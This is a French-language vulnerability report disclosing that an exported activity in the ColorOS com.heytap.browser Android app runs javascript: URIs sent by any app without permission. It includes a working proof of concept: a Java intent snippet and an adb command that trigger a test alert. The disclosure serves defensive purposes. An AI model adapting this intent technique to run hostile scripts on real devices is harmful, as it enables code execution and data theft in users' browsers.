com.heytap.browser

Rapport de Vulnérabilité

Aperçu :

Une vulnérabilité a été découverte dans l'application com.heytap.browser sur la plateforme Android. La vulnérabilité permet à un attaquant d'exécuter du code JavaScript arbitraire dans le contexte de l'application sans aucune autorisation.

Détails de l'Application :

• Vendeur : - ColorOS
• Nom de l'Application : 'Internet Browser' com.heytap.browser
• Version : 45.10.3.4.1
• Composant : com.android.browser.RealBrowserActivity

Détails de la Vulnérabilité :

• Type de Vulnérabilité : Exécution de Code JavaScript
• Vecteur d'Attaque : Via un composant d'activité exporté
• Autorisations Requises : Aucune

Description :

L'activité com.android.browser.RealBrowserActivity dans l'application com.heytap.browser est exportée et peut être invoquée par toute application tierce sans nécessiter d'autorisations. Une application malveillante peut exploiter cela pour exécuter du code JavaScript arbitraire dans le contexte de l'application com.heytap.browser.

Preuve de Concept (PoC) :

{
        super.onCreate(savedInstanceState);

        String javaScriptCommand = "javascript:alert%28%27Test%20Alert%27%29%3B";

        Intent intent = new Intent(Intent.ACTION_VIEW);
        intent.setData(Uri.parse(javaScriptCommand));
        intent.setClassName("com.heytap.browser", "com.android.browser.RealBrowserActivity");

        startActivity(intent);

        finish();
    }

adb shell am start -a android.intent.action.VIEW -d "javascript:alert%28%27Test%20Alert%27%29%3B" -n com.heytap.browser/com.android.browser.RealBrowserActivity

Impact :

Une exploitation réussie permet à un attaquant de :

• Exécuter du code JavaScript arbitraire dans le contexte de l'application com.heytap.browser.